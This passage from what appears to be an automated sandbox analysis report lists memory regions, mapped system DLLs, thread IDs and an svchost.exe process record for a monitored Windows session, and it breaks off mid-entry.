"c:\\windows\\system32\\advapi32.dll") Region: id = 613 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 614 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 615 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 616 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 617 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 618 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 619 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 620 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 621 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 622 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 623 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 624 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 625 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 626 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 627 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Thread: id = 39 os_tid = 0xaf0 Thread: id = 40 os_tid = 0xaec Thread: id = 41 os_tid = 0xae8 Thread: id = 42 os_tid = 0xae4 Thread: id = 43 os_tid = 0xae0 Thread: id = 44 os_tid = 0xad4 Thread: id = 47 os_tid = 0xbac Thread: id = 68 os_tid = 0x93c Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8da9000" os_pid = "0x268" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e915" [0xc000000f], "LOCAL" [0x7] Region: id = 635 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 636 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 637 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 638 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 639 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 640 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 641 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 642 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 643 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 644 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 645 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 646 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 647 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 648 start_va = 0x1b0000 end_va = 0x1c9fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 649 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 650 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 651 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 652 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 653 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 654 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 655 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 656 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 657 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 658 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 659 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 660 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 661 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 662 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 663 start_va = 0x490000 end_va = 0x491fff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 664 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 665 start_va = 0x4b0000 end_va = 0x4b4fff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 666 start_va = 0x4c0000 end_va = 0x4c0fff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 667 start_va = 0x4d0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 668 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 669 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 670 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 671 start_va = 0x810000 end_va = 0x8cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 672 start_va = 0x8d0000 end_va = 0xcc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 673 start_va = 0xcd0000 end_va = 0xd8ffff entry_point = 0xcd0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 674 start_va = 0xd90000 end_va = 0xd90fff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 675 start_va = 0xda0000 end_va = 0xdaffff entry_point = 0xda0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 676 start_va = 0xdb0000 end_va = 0xdbffff entry_point = 0xdb0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 677 start_va = 0xdc0000 end_va = 0xdcffff entry_point = 0xdc0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 678 start_va = 0xdd0000 end_va = 0xddffff entry_point = 0xdd0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 679 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 680 start_va = 0xe60000 end_va = 0xe6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 681 start_va = 0xe70000 end_va = 0xe7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e70000" filename = "" Region: id = 682 start_va = 0xe80000 end_va = 0xe8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 683 start_va = 0xe90000 end_va = 0xe9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 684 start_va = 0xea0000 end_va = 0xeaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 685 start_va = 0xeb0000 end_va = 0xebffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000eb0000" filename = "" Region: id = 686 start_va = 0xec0000 end_va = 0xecffff entry_point = 0xec0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 687 start_va = 0xed0000 end_va = 0xedffff entry_point = 0xed0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 688 start_va = 0xee0000 end_va = 0xeeffff entry_point = 0xee0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 689 start_va = 0xef0000 end_va = 0xefffff entry_point = 0xef0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 690 start_va = 0xf00000 end_va = 0xf0ffff entry_point = 0xf00000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 691 start_va = 0xf10000 end_va = 0xf1ffff entry_point = 0xf10000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 692 start_va = 0xf20000 end_va = 0xf2ffff entry_point = 0xf20000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 693 start_va = 0xf30000 end_va = 0x11fefff entry_point = 0xf30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 694 start_va = 0x1200000 end_va = 0x127ffff entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 695 start_va = 0x1280000 end_va = 0x128ffff entry_point = 0x1280000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 696 start_va = 0x1290000 end_va = 0x129ffff entry_point = 0x1290000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 697 start_va = 0x12a0000 end_va = 0x12affff entry_point = 0x12a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 698 start_va = 0x12b0000 end_va = 0x12bffff entry_point = 0x12b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 699 start_va = 0x1310000 end_va = 0x131ffff entry_point = 0x1310000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 700 start_va = 0x1320000 end_va = 0x132ffff entry_point = 0x1320000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 701 start_va = 0x1330000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 702 start_va = 0x1340000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 703 start_va = 0x1350000 end_va = 0x135ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 704 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 705 start_va = 0x13e0000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 706 start_va = 0x13f0000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 707 start_va = 0x1400000 end_va = 0x1400fff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 708 start_va = 0x1410000 end_va = 0x1410fff entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 709 start_va = 0x1420000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 710 start_va = 0x1430000 end_va = 0x143ffff entry_point = 0x1430000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 711 start_va = 0x1440000 end_va = 0x144ffff entry_point = 0x1440000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 712 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 713 start_va = 0x14d0000 end_va = 0x14dffff entry_point = 0x14d0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 714 start_va = 0x14e0000 end_va = 0x14effff entry_point = 0x14e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 715 start_va = 0x1500000 end_va = 0x150ffff entry_point = 0x1500000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 716 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x1510000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 717 start_va = 0x1520000 end_va = 0x152ffff entry_point = 0x1520000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 718 start_va = 0x1530000 end_va = 0x153ffff entry_point = 0x1530000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 719 start_va = 0x1540000 end_va = 0x154ffff entry_point = 0x1540000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 720 start_va = 0x1550000 end_va = 0x155ffff entry_point = 0x1550000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 721 start_va = 0x1560000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 722 start_va = 0x15e0000 end_va = 0x15effff entry_point = 0x15e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 723 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 724 start_va = 0x1670000 end_va = 0x167ffff entry_point = 0x1670000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 725 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 726 start_va = 0x1700000 end_va = 0x170ffff entry_point = 0x1700000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 727 start_va = 0x1710000 end_va = 0x171ffff entry_point = 0x1710000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 728 start_va = 0x1720000 end_va = 0x172ffff entry_point = 0x1720000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 729 start_va = 0x1730000 end_va = 0x173ffff entry_point = 0x1730000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 730 start_va = 0x1740000 end_va = 0x174ffff entry_point = 0x1740000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 731 start_va = 0x1750000 end_va = 0x175ffff entry_point = 0x1750000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 732 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 733 start_va = 0x17e0000 end_va = 0x17effff entry_point = 0x17e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 734 start_va = 0x17f0000 end_va = 0x17fffff entry_point = 0x17f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 735 start_va = 0x1800000 end_va = 0x180ffff entry_point = 0x1800000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 736 start_va = 0x1890000 end_va = 0x189ffff entry_point = 0x1890000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 737 start_va = 0x18a0000 end_va = 0x18affff entry_point = 0x18a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 738 start_va = 0x18b0000 end_va = 0x18bffff entry_point = 0x18b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 739 start_va = 0x18c0000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 740 start_va = 0x19c0000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 741 start_va = 0x1a40000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 742 start_va = 0x1ac0000 end_va = 0x1bbffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 743 start_va = 0x1bc0000 end_va = 0x1bcffff entry_point = 0x1bc0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 744 start_va = 0x1bd0000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 745 start_va = 0x1be0000 end_va = 0x1beffff entry_point = 0x1be0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 746 start_va = 0x1bf0000 end_va = 0x1bfffff entry_point = 0x1bf0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 747 start_va = 0x1c00000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 748 start_va = 0x1c80000 end_va = 0x1c8ffff entry_point = 0x1c80000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 749 start_va = 0x1c90000 end_va = 0x1c9ffff entry_point = 0x1c90000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: 